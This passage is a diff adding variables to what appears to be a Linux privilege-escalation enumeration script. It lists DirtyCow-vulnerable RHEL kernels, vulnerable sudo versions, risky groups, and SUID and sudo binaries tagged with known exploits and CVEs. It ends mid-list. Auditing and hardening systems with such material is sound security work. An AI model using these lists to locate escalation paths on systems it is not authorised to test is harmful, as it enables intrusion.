+kernelDCW_Rhel5_2="2.6.18-128.29.1.el5|2.6.18-128.30.1.el5|2.6.18-128.31.1.el5|2.6.18-128.32.1.el5|2.6.18-128.35.1.el5|2.6.18-128.36.1.el5|2.6.18-128.37.1.el5|2.6.18-128.38.1.el5|2.6.18-128.39.1.el5|2.6.18-128.40.1.el5|2.6.18-128.41.1.el5|2.6.18-164.el5|2.6.18-164.2.1.el5|2.6.18-164.6.1.el5|2.6.18-164.9.1.el5|2.6.18-164.10.1.el5|2.6.18-164.11.1.el5|2.6.18-164.15.1.el5|2.6.18-164.17.1.el5|2.6.18-164.19.1.el5|2.6.18-164.21.1.el5|2.6.18-164.25.1.el5|2.6.18-164.25.2.el5|2.6.18-164.28.1.el5|2.6.18-164.30.1.el5|2.6.18-164.32.1.el5|2.6.18-164.34.1.el5|2.6.18-164.36.1.el5|2.6.18-164.37.1.el5|2.6.18-164.38.1.el5|2.6.18-194.el5|2.6.18-194.3.1.el5|2.6.18-194.8.1.el5|2.6.18-194.11.1.el5|2.6.18-194.11.3.el5|2.6.18-194.11.4.el5|2.6.18-194.17.1.el5|2.6.18-194.17.4.el5|2.6.18-194.26.1.el5|2.6.18-194.32.1.el5|2.6.18-238.el5|2.6.18-238.1.1.el5|2.6.18-238.5.1.el5|2.6.18-238.9.1.el5|2.6.18-238.12.1.el5|2.6.18-238.19.1.el5|2.6.18-238.21.1.el5|2.6.18-238.27.1.el5|2.6.18-238.28.1.el5|2.6.18-238.31.1.el5|2.6.18-238.33.1.el5|2.6.18-238.35.1.el5|2.6.18-238.37.1.el5|2.6.18-238.39.1.el5|2.6.18-238.40.1.el5|2.6.18-238.44.1.el5|2.6.18-238.45.1.el5|2.6.18-238.47.1.el5|2.6.18-238.48.1.el5|2.6.18-238.49.1.el5|2.6.18-238.50.1.el5|2.6.18-238.51.1.el5|2.6.18-238.52.1.el5|2.6.18-238.53.1.el5|2.6.18-238.54.1.el5|2.6.18-238.55.1.el5|2.6.18-238.56.1.el5|2.6.18-274.el5|2.6.18-274.3.1.el5|2.6.18-274.7.1.el5|2.6.18-274.12.1.el5"
+kernelDCW_Rhel5_3="2.6.18-274.17.1.el5|2.6.18-274.18.1.el5|2.6.18-308.el5|2.6.18-308.1.1.el5|2.6.18-308.4.1.el5|2.6.18-308.8.1.el5|2.6.18-308.8.2.el5|2.6.18-308.11.1.el5|2.6.18-308.13.1.el5|2.6.18-308.16.1.el5|2.6.18-308.20.1.el5|2.6.18-308.24.1.el5|2.6.18-348.el5|2.6.18-348.1.1.el5|2.6.18-348.2.1.el5|2.6.18-348.3.1.el5|2.6.18-348.4.1.el5|2.6.18-348.6.1.el5|2.6.18-348.12.1.el5|2.6.18-348.16.1.el5|2.6.18-348.18.1.el5|2.6.18-348.19.1.el5|2.6.18-348.21.1.el5|2.6.18-348.22.1.el5|2.6.18-348.23.1.el5|2.6.18-348.25.1.el5|2.6.18-348.27.1.el5|2.6.18-348.28.1.el5|2.6.18-348.29.1.el5|2.6.18-348.30.1.el5|2.6.18-348.31.2.el5|2.6.18-371.el5|2.6.18-371.1.2.el5|2.6.18-371.3.1.el5|2.6.18-371.4.1.el5|2.6.18-371.6.1.el5|2.6.18-371.8.1.el5|2.6.18-371.9.1.el5|2.6.18-371.11.1.el5|2.6.18-371.12.1.el5|2.6.18-398.el5|2.6.18-400.el5|2.6.18-400.1.1.el5|2.6.18-402.el5|2.6.18-404.el5|2.6.18-406.el5|2.6.18-407.el5|2.6.18-408.el5|2.6.18-409.el5|2.6.18-410.el5|2.6.18-411.el5|2.6.18-412.el5"
+kernelDCW_Rhel6_1="2.6.33.9-rt31.66.el6rt|2.6.33.9-rt31.74.el6rt|2.6.33.9-rt31.75.el6rt|2.6.33.9-rt31.79.el6rt|3.0.9-rt26.45.el6rt|3.0.9-rt26.46.el6rt|3.0.18-rt34.53.el6rt|3.0.25-rt44.57.el6rt|3.0.30-rt50.62.el6rt|3.0.36-rt57.66.el6rt|3.2.23-rt37.56.el6rt|3.2.33-rt50.66.el6rt|3.6.11-rt28.20.el6rt|3.6.11-rt30.25.el6rt|3.6.11.2-rt33.39.el6rt|3.6.11.5-rt37.55.el6rt|3.8.13-rt14.20.el6rt|3.8.13-rt14.25.el6rt|3.8.13-rt27.33.el6rt|3.8.13-rt27.34.el6rt|3.8.13-rt27.40.el6rt|3.10.0-229.rt56.144.el6rt|3.10.0-229.rt56.147.el6rt|3.10.0-229.rt56.149.el6rt|3.10.0-229.rt56.151.el6rt|3.10.0-229.rt56.153.el6rt|3.10.0-229.rt56.158.el6rt|3.10.0-229.rt56.161.el6rt|3.10.0-229.rt56.162.el6rt|3.10.0-327.rt56.170.el6rt|3.10.0-327.rt56.171.el6rt|3.10.0-327.rt56.176.el6rt|3.10.0-327.rt56.183.el6rt|3.10.0-327.rt56.190.el6rt|3.10.0-327.rt56.194.el6rt|3.10.0-327.rt56.195.el6rt|3.10.0-327.rt56.197.el6rt|3.10.33-rt32.33.el6rt|3.10.33-rt32.34.el6rt|3.10.33-rt32.43.el6rt|3.10.33-rt32.45.el6rt|3.10.33-rt32.51.el6rt|3.10.33-rt32.52.el6rt|3.10.58-rt62.58.el6rt|3.10.58-rt62.60.el6rt|2.6.32-71.7.1.el6|2.6.32-71.14.1.el6|2.6.32-71.18.1.el6|2.6.32-71.18.2.el6|2.6.32-71.24.1.el6|2.6.32-71.29.1.el6|2.6.32-71.31.1.el6|2.6.32-71.34.1.el6|2.6.32-71.35.1.el6|2.6.32-71.36.1.el6|2.6.32-71.37.1.el6|2.6.32-71.38.1.el6|2.6.32-71.39.1.el6|2.6.32-71.40.1.el6|2.6.32-131.0.15.el6|2.6.32-131.2.1.el6|2.6.32-131.4.1.el6|2.6.32-131.6.1.el6|2.6.32-131.12.1.el6"
+kernelDCW_Rhel6_2="2.6.32-131.17.1.el6|2.6.32-131.21.1.el6|2.6.32-131.22.1.el6|2.6.32-131.25.1.el6|2.6.32-131.26.1.el6|2.6.32-131.28.1.el6|2.6.32-131.29.1.el6|2.6.32-131.30.1.el6|2.6.32-131.30.2.el6|2.6.32-131.33.1.el6|2.6.32-131.35.1.el6|2.6.32-131.36.1.el6|2.6.32-131.37.1.el6|2.6.32-131.38.1.el6|2.6.32-131.39.1.el6|2.6.32-220.el6|2.6.32-220.2.1.el6|2.6.32-220.4.1.el6|2.6.32-220.4.2.el6|2.6.32-220.4.7.bgq.el6|2.6.32-220.7.1.el6|2.6.32-220.7.3.p7ih.el6|2.6.32-220.7.4.p7ih.el6|2.6.32-220.7.6.p7ih.el6|2.6.32-220.7.7.p7ih.el6|2.6.32-220.13.1.el6|2.6.32-220.17.1.el6|2.6.32-220.23.1.el6|2.6.32-220.24.1.el6|2.6.32-220.25.1.el6|2.6.32-220.26.1.el6|2.6.32-220.28.1.el6|2.6.32-220.30.1.el6|2.6.32-220.31.1.el6|2.6.32-220.32.1.el6|2.6.32-220.34.1.el6|2.6.32-220.34.2.el6|2.6.32-220.38.1.el6|2.6.32-220.39.1.el6|2.6.32-220.41.1.el6|2.6.32-220.42.1.el6|2.6.32-220.45.1.el6|2.6.32-220.46.1.el6|2.6.32-220.48.1.el6|2.6.32-220.51.1.el6|2.6.32-220.52.1.el6|2.6.32-220.53.1.el6|2.6.32-220.54.1.el6|2.6.32-220.55.1.el6|2.6.32-220.56.1.el6|2.6.32-220.57.1.el6|2.6.32-220.58.1.el6|2.6.32-220.60.2.el6|2.6.32-220.62.1.el6|2.6.32-220.63.2.el6|2.6.32-220.64.1.el6|2.6.32-220.65.1.el6|2.6.32-220.66.1.el6|2.6.32-220.67.1.el6|2.6.32-279.el6|2.6.32-279.1.1.el6|2.6.32-279.2.1.el6|2.6.32-279.5.1.el6|2.6.32-279.5.2.el6|2.6.32-279.9.1.el6|2.6.32-279.11.1.el6|2.6.32-279.14.1.bgq.el6|2.6.32-279.14.1.el6|2.6.32-279.19.1.el6|2.6.32-279.22.1.el6|2.6.32-279.23.1.el6|2.6.32-279.25.1.el6|2.6.32-279.25.2.el6|2.6.32-279.31.1.el6|2.6.32-279.33.1.el6|2.6.32-279.34.1.el6|2.6.32-279.37.2.el6|2.6.32-279.39.1.el6"
+kernelDCW_Rhel6_3="2.6.32-279.41.1.el6|2.6.32-279.42.1.el6|2.6.32-279.43.1.el6|2.6.32-279.43.2.el6|2.6.32-279.46.1.el6|2.6.32-358.el6|2.6.32-358.0.1.el6|2.6.32-358.2.1.el6|2.6.32-358.6.1.el6|2.6.32-358.6.2.el6|2.6.32-358.6.3.p7ih.el6|2.6.32-358.11.1.bgq.el6|2.6.32-358.11.1.el6|2.6.32-358.14.1.el6|2.6.32-358.18.1.el6|2.6.32-358.23.2.el6|2.6.32-358.28.1.el6|2.6.32-358.32.3.el6|2.6.32-358.37.1.el6|2.6.32-358.41.1.el6|2.6.32-358.44.1.el6|2.6.32-358.46.1.el6|2.6.32-358.46.2.el6|2.6.32-358.48.1.el6|2.6.32-358.49.1.el6|2.6.32-358.51.1.el6|2.6.32-358.51.2.el6|2.6.32-358.55.1.el6|2.6.32-358.56.1.el6|2.6.32-358.59.1.el6|2.6.32-358.61.1.el6|2.6.32-358.62.1.el6|2.6.32-358.65.1.el6|2.6.32-358.67.1.el6|2.6.32-358.68.1.el6|2.6.32-358.69.1.el6|2.6.32-358.70.1.el6|2.6.32-358.71.1.el6|2.6.32-358.72.1.el6|2.6.32-358.73.1.el6|2.6.32-358.111.1.openstack.el6|2.6.32-358.114.1.openstack.el6|2.6.32-358.118.1.openstack.el6|2.6.32-358.123.4.openstack.el6|2.6.32-431.el6|2.6.32-431.1.1.bgq.el6|2.6.32-431.1.2.el6|2.6.32-431.3.1.el6|2.6.32-431.5.1.el6|2.6.32-431.11.2.el6|2.6.32-431.17.1.el6|2.6.32-431.20.3.el6|2.6.32-431.20.5.el6|2.6.32-431.23.3.el6|2.6.32-431.29.2.el6|2.6.32-431.37.1.el6|2.6.32-431.40.1.el6|2.6.32-431.40.2.el6|2.6.32-431.46.2.el6|2.6.32-431.50.1.el6|2.6.32-431.53.2.el6|2.6.32-431.56.1.el6|2.6.32-431.59.1.el6|2.6.32-431.61.2.el6|2.6.32-431.64.1.el6|2.6.32-431.66.1.el6|2.6.32-431.68.1.el6|2.6.32-431.69.1.el6|2.6.32-431.70.1.el6"
+kernelDCW_Rhel6_4="2.6.32-431.71.1.el6|2.6.32-431.72.1.el6|2.6.32-431.73.2.el6|2.6.32-431.74.1.el6|2.6.32-504.el6|2.6.32-504.1.3.el6|2.6.32-504.3.3.el6|2.6.32-504.8.1.el6|2.6.32-504.8.2.bgq.el6|2.6.32-504.12.2.el6|2.6.32-504.16.2.el6|2.6.32-504.23.4.el6|2.6.32-504.30.3.el6|2.6.32-504.30.5.p7ih.el6|2.6.32-504.33.2.el6|2.6.32-504.36.1.el6|2.6.32-504.38.1.el6|2.6.32-504.40.1.el6|2.6.32-504.43.1.el6|2.6.32-504.46.1.el6|2.6.32-504.49.1.el6|2.6.32-504.50.1.el6|2.6.32-504.51.1.el6|2.6.32-504.52.1.el6|2.6.32-573.el6|2.6.32-573.1.1.el6|2.6.32-573.3.1.el6|2.6.32-573.4.2.bgq.el6|2.6.32-573.7.1.el6|2.6.32-573.8.1.el6|2.6.32-573.12.1.el6|2.6.32-573.18.1.el6|2.6.32-573.22.1.el6|2.6.32-573.26.1.el6|2.6.32-573.30.1.el6|2.6.32-573.32.1.el6|2.6.32-573.34.1.el6|2.6.32-642.el6|2.6.32-642.1.1.el6|2.6.32-642.3.1.el6|2.6.32-642.4.2.el6|2.6.32-642.6.1.el6"
+kernelDCW_Rhel7="3.10.0-229.rt56.141.el7|3.10.0-229.1.2.rt56.141.2.el7_1|3.10.0-229.4.2.rt56.141.6.el7_1|3.10.0-229.7.2.rt56.141.6.el7_1|3.10.0-229.11.1.rt56.141.11.el7_1|3.10.0-229.14.1.rt56.141.13.el7_1|3.10.0-229.20.1.rt56.141.14.el7_1|3.10.0-229.rt56.141.el7|3.10.0-327.rt56.204.el7|3.10.0-327.4.5.rt56.206.el7_2|3.10.0-327.10.1.rt56.211.el7_2|3.10.0-327.13.1.rt56.216.el7_2|3.10.0-327.18.2.rt56.223.el7_2|3.10.0-327.22.2.rt56.230.el7_2|3.10.0-327.28.2.rt56.234.el7_2|3.10.0-327.28.3.rt56.235.el7|3.10.0-327.36.1.rt56.237.el7|3.10.0-123.el7|3.10.0-123.1.2.el7|3.10.0-123.4.2.el7|3.10.0-123.4.4.el7|3.10.0-123.6.3.el7|3.10.0-123.8.1.el7|3.10.0-123.9.2.el7|3.10.0-123.9.3.el7|3.10.0-123.13.1.el7|3.10.0-123.13.2.el7|3.10.0-123.20.1.el7|3.10.0-229.el7|3.10.0-229.1.2.el7|3.10.0-229.4.2.el7|3.10.0-229.7.2.el7|3.10.0-229.11.1.el7|3.10.0-229.14.1.el7|3.10.0-229.20.1.el7|3.10.0-229.24.2.el7|3.10.0-229.26.2.el7|3.10.0-229.28.1.el7|3.10.0-229.30.1.el7|3.10.0-229.34.1.el7|3.10.0-229.38.1.el7|3.10.0-229.40.1.el7|3.10.0-229.42.1.el7|3.10.0-327.el7|3.10.0-327.3.1.el7|3.10.0-327.4.4.el7|3.10.0-327.4.5.el7|3.10.0-327.10.1.el7|3.10.0-327.13.1.el7|3.10.0-327.18.2.el7|3.10.0-327.22.2.el7|3.10.0-327.28.2.el7|3.10.0-327.28.3.el7|3.10.0-327.36.1.el7|3.10.0-327.36.2.el7|3.10.0-229.1.2.ael7b|3.10.0-229.4.2.ael7b|3.10.0-229.7.2.ael7b|3.10.0-229.11.1.ael7b|3.10.0-229.14.1.ael7b|3.10.0-229.20.1.ael7b|3.10.0-229.24.2.ael7b|3.10.0-229.26.2.ael7b|3.10.0-229.28.1.ael7b|3.10.0-229.30.1.ael7b|3.10.0-229.34.1.ael7b|3.10.0-229.38.1.ael7b|3.10.0-229.40.1.ael7b|3.10.0-229.42.1.ael7b|4.2.0-0.21.el7"
+
+
+MyUID=$(id -u $(whoami))
+if [ "$MyUID" ]; then myuid=$MyUID; elif [ $(id -u $(whoami) 2>/dev/null) ]; then myuid=$(id -u $(whoami) 2>/dev/null); elif [ "$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1)" ]; then myuid=$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1); fi
+if [ $myuid -gt 2147483646 ]; then baduid="|$myuid"; fi
+idB="euid|egid$baduid"
+sudovB="[01].[012345678].[0-9]+|1.9.[01234]|1.9.5p1"
+
+mounted=$( (cat /proc/self/mountinfo || cat /proc/1/mountinfo) 2>/dev/null | cut -d " " -f5 | grep "^/" | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}')
+if ! [ "$mounted" ]; then
+ mounted=$( (mount -l || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts) 2>/dev/null | grep "^/" | cut -d " " -f1 | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}')
+fi
+if ! [ "$mounted" ]; then mounted="ImPoSSssSiBlEee"; fi # Don't let any blacklist to be empty
+mountG="swap|/cdrom|/floppy|/dev/shm"
+notmounted=$(cat /etc/fstab 2>/dev/null | grep "^/" | grep -Ev "$mountG" | awk '{print $1}' | grep -Ev "$mounted" | tr '\n' '|')"ImPoSSssSiBlEee"
+mountpermsB="\Wsuid|\Wuser|\Wexec"
+mountpermsG="nosuid|nouser|noexec"
+
+rootcommon="/init$|upstart-udev-bridge|udev|/getty|cron|apache2|java|tomcat|/vmtoolsd|/VGAuthService"
+
+groupsB="\(root\)|\(shadow\)|\(admin\)|\(video\)|\(adm\)|\(wheel\)|\(auth\)"
+groupsVB="\(sudo\)|\(docker\)|\(lxd\)|\(disk\)|\(lxc\)"
+knw_grps='\(lpadmin\)|\(cdrom\)|\(plugdev\)|\(nogroup\)' # https://www.togaware.com/linux/survivor/Standard_Groups.html
+mygroups=$(groups 2>/dev/null | tr " " "|")
+
+# Default Binaries List
+sidG1="/abuild-sudo$|/accton$|/allocate$|/ARDAgent$|/arping$|/atq$|/atrm$|/authpf$|/authpf-noip$|/authopen$|/batch$|/bbsuid$|/bsd-write$|/btsockstat$|/bwrap$|/cacaocsc$|/camel-lock-helper-1.2$|/ccreds_validate$|/cdrw$|/chage$|/check-foreground-console$|/chrome-sandbox$|/chsh$|/cons.saver$|/crontab$|/ct$|/cu$|/dbus-daemon-launch-helper$|/deallocate$|/desktop-create-kmenu$|/dma$|/dma-mbox-create$|/dmcrypt-get-device$|/doas$|/dotlockfile$|/dotlock.mailutils$|/dtaction$|/dtfile$|/eject$|/execabrt-action-install-debuginfo-to-abrt-cache$|/execdbus-daemon-launch-helper$|/execdma-mbox-create$|/execlockspool$|/execlogin_chpass$|/execlogin_lchpass$|/execlogin_passwd$|/execssh-keysign$|/execulog-helper$|/exim4|/expiry$|/fdformat$|/fstat$|/fusermount$|/fusermount3$"
+sidG2="/gnome-pty-helper$|/glines$|/gnibbles$|/gnobots2$|/gnome-suspend$|/gnometris$|/gnomine$|/gnotski$|/gnotravex$|/gpasswd$|/gpg$|/gpio$|/gtali|/.hal-mtab-lock$|/helper$|/imapd$|/inndstart$|/kismet_cap_nrf_51822$|/kismet_cap_nxp_kw41z$|/kismet_cap_ti_cc_2531$|/kismet_cap_ti_cc_2540$|/kismet_cap_ubertooth_one$|/kismet_capture$|/kismet_cap_linux_bluetooth$|/kismet_cap_linux_wifi$|/kismet_cap_nrf_mousejack$|/ksu$|/list_devices$|/load_osxfuse$|/locate$|/lock$|/lockdev$|/lockfile$|/login_activ$|/login_crypto$|/login_radius$|/login_skey$|/login_snk$|/login_token$|/login_yubikey$|/lpc$|/lpd$|/lpd-port$|/lppasswd$|/lpq$|/lpr$|/lprm$|/lpset$|/lxc-user-nic$|/mahjongg$|/mail-lock$|/mailq$|/mail-touchlock$|/mail-unlock$|/mksnap_ffs$|/mlocate$|/mlock$|/mount$|/mount.cifs$|/mount.ecryptfs_private$|/mount.nfs$|/mount.nfs4$|/mount_osxfuse$|/mtr$|/mutt_dotlock$"
+sidG3="/ncsa_auth$|/netpr$|/netkit-rcp$|/netkit-rlogin$|/netkit-rsh$|/netreport$|/netstat$|/newgidmap$|/newtask$|/newuidmap$|/nvmmctl$|/opieinfo$|/opiepasswd$|/pam_auth$|/pam_extrausers_chkpwd$|/pam_timestamp_check$|/pamverifier$|/pfexec$|/ping$|/ping6$|/pmconfig$|/pmap$|/polkit-agent-helper-1$|/polkit-explicit-grant-helper$|/polkit-grant-helper$|/polkit-grant-helper-pam$|/polkit-read-auth-helper$|/polkit-resolve-exe-helper$|/polkit-revoke-helper$|/polkit-set-default-helper$|/postdrop$|/postqueue$|/poweroff$|/ppp$|/procmail$|/pstat$|/pt_chmod$|/pwdb_chkpwd$|/quota$|/rcmd|/remote.unknown$|/rlogin$|/rmformat$|/rnews$|/run-mailcap$|/sacadm$|/same-gnome$|screen.real$|/security_authtrampoline$|/sendmail.sendmail$|/shutdown$|/skeyaudit$|/skeyinfo$|/skeyinit$|/sliplogin|/slocate$|/smbmnt$|/smbumount$|/smpatch$|/smtpctl$|/sperl5.8.8$|/ssh-agent$|/ssh-keysign$|/staprun$|/startinnfeed$|/stclient$|/su$|/suexec$|/sys-suspend$|/sysstat$|/systat$"
+sidG4="/telnetlogin$|/timedc$|/tip$|/top$|/traceroute6$|/traceroute6.iputils$|/trpt$|/tsoldtlabel$|/tsoljdslabel$|/tsolxagent$|/ufsdump$|/ufsrestore$|/ulog-helper$|/umount.cifs$|/umount.nfs$|/umount.nfs4$|/unix_chkpwd$|/uptime$|/userhelper$|/userisdnctl$|/usernetctl$|/utempter$|/utmp_update$|/uucico$|/uuglist$|/uuidd$|/uuname$|/uusched$|/uustat$|/uux$|/uuxqt$|/VBoxHeadless$|/VBoxNetAdpCtl$|/VBoxNetDHCP$|/VBoxNetNAT$|/VBoxSDL$|/VBoxVolInfo$|/VirtualBoxVM$|/vmstat$|/vmware-authd$|/vmware-user-suid-wrapper$|/vmware-vmx$|/vmware-vmx-debug$|/vmware-vmx-stats$|/vncserver-x11$|/volrmmount$|/w$|/wall$|/whodo$|/write$|/X$|/Xorg.wrap$|/Xsun$|/Xvnc$|/yppasswd$"
+
+# Rules: Start path " /", end path "$", divide path and vulnversion "%". SPACE IS ONLY ALLOWED AT BEGINNING, DONT USE IT IN VULN DESCRIPTION
+sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\
+ /at$%RTru64_UNIX_4.0g\(CVE-2002-1614\)\
+ /abrt-action-install-debuginfo-to-abrt-cache$%CENTOS 7.1/Fedora22
+ /chfn$%SuSE_9.3/10\
+ /chkey$%Solaris_2.5.1\
+ /chkperm$%Solaris_7.0_\
+ /chpass$%2Vulns:OpenBSD_6.1_to_OpenBSD 6.6\(CVE-2019-19726\)--OpenBSD_2.7_i386/OpenBSD_2.6_i386/OpenBSD_2.5_1999/08/06/OpenBSD_2.5_1998/05/28/FreeBSD_4.0-RELEASE/FreeBSD_3.5-RELEASE/FreeBSD_3.4-RELEASE/NetBSD_1.4.2\
+ /chpasswd$%SquirrelMail\(2004-04\)\
+ /dtappgather$%Solaris_7_<_11_\(SPARC/x86\)\(CVE-2017-3622\)\
+ /dtprintinfo$%Solaris_10_\(x86\)_and_lower_versions_also_SunOS_5.7_to_5.10\
+ /dtsession$%Oracle_Solaris_10_1/13_and_earlier\(CVE-2020-2696\)\
+ /eject$%FreeBSD_mcweject_0.9/SGI_IRIX_6.2\
+ /ibstat$%IBM_AIX_Version_6.1/7.1\(09-2013\)\
+ /kcheckpass$%KDE_3.2.0_<-->_3.4.2_\(both_included\)\
+ /kdesud$%KDE_1.1/1.1.1/1.1.2/1.2\
+ /keybase-redirector%CentOS_Linux_release_7.4.1708\
+ /login$%IBM_AIX_3.2.5/SGI_IRIX_6.4\
+ /lpc$%S.u.S.E_Linux_5.2\
+ /lpr$%BSD/OS2.1/FreeBSD2.1.5/NeXTstep4.x/IRIX6.4/SunOS4.1.3/4.1.4\(09-1996\)\
+ /mail.local$%NetBSD_7.0-7.0.1__6.1-6.1.5__6.0-6.0.6
+ /mount$%Apple_Mac_OSX\(Lion\)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\
+ /movemail$%Emacs\(08-1986\)\
+ /mrinfo$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\
+ /mtrace$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\
+ /netprint$%IRIX_5.3/6.2/6.3/6.4/6.5/6.5.11\
+ /newgrp$%HP-UX_10.20\
+ /ntfs-3g$%Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others\(02-2017\)\
+ /passwd$%Apple_Mac_OSX\(03-2006\)/Solaris_8/9\(12-2004\)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1\(02-1997\)\
+ /pkexec$%Linux4.10_to_5.1.17\(CVE-2019-13272\)/rhel_6\(CVE-2011-1485\)\
+ /pppd$%Apple_Mac_OSX_10.4.8\(05-2007\)\
+ /pt_chown$%GNU_glibc_2.1/2.1.1_-6\(08-1999\)\
+ /pulseaudio$%\(Ubuntu_9.04/Slackware_12.2.0\)\
+ /rcp$%RedHat_6.2\
+ /rdist$%Solaris_10/OpenSolaris\
+ /rsh$%Apple_Mac_OSX_10.9.5/10.10.5\(09-2015\)\
+ /screen$%GNU_Screen_4.5.0\
+ /sdtcm_convert$%Sun_Solaris_7.0\
+ /sendmail$%Sendmail_8.10.1/Sendmail_8.11.x/Linux_Kernel_2.2.x_2.4.0-test1_\(SGI_ProPack_1.2/1.3\)\
+ /snap-confine$%Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation\(CVE-2019-7304\)\
+ /sudo%check_if_the_sudo_version_is_vulnerable\
+ /Serv-U%FTP_Server<15.1.7(CVE-2019-12181)
+ /sudoedit$%Sudo/SudoEdit_1.6.9p21/1.7.2p4/\(RHEL_5/6/7/Ubuntu\)/Sudo<=1.8.14\
+ /tmux$%Tmux_1.3_1.4_privesc\(CVE-2011-1496\)\
+ /traceroute$%LBL_Traceroute_\[2000-11-15\]\
+ /ubuntu-core-launcher$%Befre_1.0.27.1\(CVE-2016-1580\)\
+ /umount$%BSD/Linux\(08-1996\)\
+ /umount-loop$%Rocks_Clusters<=4.1\(07-2006\)\
+ /uucp$%Taylor_UUCP_1.0.6\
+ /XFree86$%XFree86_X11R6_3.3.x/4.0/4.x/3.3\(03-2003\)\
+ /xlock$%BSD/OS_2.1/DG/UX_7.0/Debian_1.3/HP-UX_10.34/IBM_AIX_4.2/SGI_IRIX_6.4/Solaris_2.5.1\(04-1997\)\
+ /xscreensaver%Solaris_11.x\(CVE-2019-3010\)\
+ /xorg$%Xorg_1.19_to_1.20.x\(CVE_2018-14665\)/xorg-x11-server<=1.20.3/AIX_7.1_\(6.x_to_7.x_should_be_vulnerable\)_X11.base.rte<7.1.5.32_and_\
+ /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)"
+# To update sidVB: curl https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins 2>/dev/null | grep 'href="/GTFOBins/' | grep '.md">' | awk -F 'title="' '{print $2}' | cut -d '"' -f1 | cut -d "." -f1 | sed -e 's,^,/,' | sed -e 's,$,\$,' | tr '\n' '|'
+sidVB='/aa-exec$|/ab$|/agetty$|/alpine$|/ar$|/aria2c$|/arj$|/arp$|/as$|/ascii-xfr$|/ash$|/aspell$|/atobm$|/awk$|/base32$|/base64$|/basenc$|/basez$|/bash$|/batcat$|/bc$|/bridge$|/busctl$|/busybox$|/byebug$|/bzip2$|/cabal$|/capsh$|/cat$|/chmod$|/choom$|/chown$|/chroot$|/clamscan$|/cmp$|/column$|/comm$|/composer$|/cp$|/cpio$|/cpulimit$|/csh$|/csplit$|/csvtool$|/cupsfilter$|/curl$|/cut$|/dash$|/date$|/dc$|/dd$|/debugfs$|/dialog$|/diff$|/dig$|/distcc$|/dmsetup$|/docker$|/dosbox$|/dvips$|/ed$|/efax$|/elvish$|/emacs$|/env$|/eqn$|/espeak$|/expand$|/expect$|/file$|/find$|/fish$|/flock$|/fmt$|/fold$|/gawk$|/gcore$|/gdb$|/genie$|/genisoimage$|/gimp$|/ginsh$|/git$|/grep$|/gtester$|/gzip$|/hd$|/head$|/hexdump$|/highlight$|/hping3$|/iconv$|/iftop$|/install$|/ionice$|/ip$|/ispell$|/jjs$|/joe$|/join$|/jq$|/jrunscript$|/julia$|/ksh$|/ksshell$|/kubectl$|/latex$|/ldconfig$|/less$|/lftp$|/links$|/logsave$|/look$|/lua$|/lualatex$|/luatex$|/make$|/mawk$|/minicom$|/more$|/mosquitto$|/msgattrib$|/msgcat$|/msgconv$|/msgfilter$|/msgmerge$|/msguniq$|/multitime$|/mv$'
+sidVB2='/mysql$|/nano$|/nasm$|/nawk$|/nc$|/ncdu$|/ncftp$|/nft$|/nice$|/nl$|/nm$|/nmap$|/node$|/nohup$|/ntpdate$|/octave$|/od$|/openssl$|/openvpn$|/pandoc$|/paste$|/pdflatex$|/pdftex$|/perf$|/perl$|/pexec$|/pg$|/php$|/pic$|/pico$|/pidstat$|/posh$|/pr$|/pry$|/psftp$|/ptx$|/python$|/rake$|/rc$|/readelf$|/restic$|/rev$|/rlwrap$|/rpm$|/rpmdb$|/rpmquery$|/rpmverify$|/rsync$|/rtorrent$|/run-parts$|/runscript$|/rview$|/rvim$|/sash$|/scanmem$|/scp$|/scrot$|/sed$|/setarch$|/setfacl$|/setlock$|/shuf$|/slsh$|/socat$|/soelim$|/softlimit$|/sort$|/sqlite3$|/ss$|/ssh-agent$|/ssh-keygen$|/ssh-keyscan$|/sshpass$|/start-stop-daemon$|/stdbuf$|/strace$|/strings$|/sysctl$|/systemctl$|/tac$|/tail$|/tar$|/taskset$|/tasksh$|/tbl$|/tclsh$|/tdbtool$|/tee$|/telnet$|/terraform$|/tex$|/tftp$|/tic$|/time$|/timeout$|/tmate$|/troff$|/ul$|/unexpand$|/uniq$|/unshare$|/unsquashfs$|/unzip$|/update-alternatives$|/uudecode$|/uuencode$|/vagrant$|/varnishncsa$|/view$|/vigr$|/vim$|/vimdiff$|/vipw$|/w3m$|/watch$|/wc$|/wget$|/whiptail$|/xargs$|/xdotool$|/xelatex$|/xetex$|/xmodmap$|/xmore$|/xxd$|/xz$|/yash$|/zip$|/zsh$|/zsoelim$'
+cfuncs='file|free|main|more|read|split|write'
+
+sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|7z$|aa-exec$|ab$|alpine$|ansible-playbook$|ansible-test$|aoss$|apache2ctl$|apt-get$|apt$|ar$|aria2c$|arj$|arp$|as$|ascii-xfr$|ascii85$|ash$|aspell$|at$|atobm$|awk$|aws$|base32$|base58$|base64$|basenc$|basez$|bash$|batcat$|bc$|bconsole$|bpftrace$|bridge$|bundle$|bundler$|busctl$|busybox$|byebug$|bzip2$|c89$|c99$|cabal$|capsh$|cat$|cdist$|certbot$|check_by_ssh$|check_cups$|check_log$|check_memory$|check_raid$|check_ssl_cert$|check_statusfile$|chmod$|choom$|chown$|chroot$|clamscan$|cmp$|cobc$|column$|comm$|composer$|cowsay$|cowthink$|cp$|cpan$|cpio$|cpulimit$|crash$|crontab$|csh$|csplit$|csvtool$|cupsfilter$|curl$|cut$|dash$|date$|dc$|dd$|debugfs$|dialog$|diff$|dig$|distcc$|dmesg$|dmidecode$|dmsetup$|dnf$|docker$|dosbox$|dotnet$|dpkg$|dstat$|dvips$|easy_install$|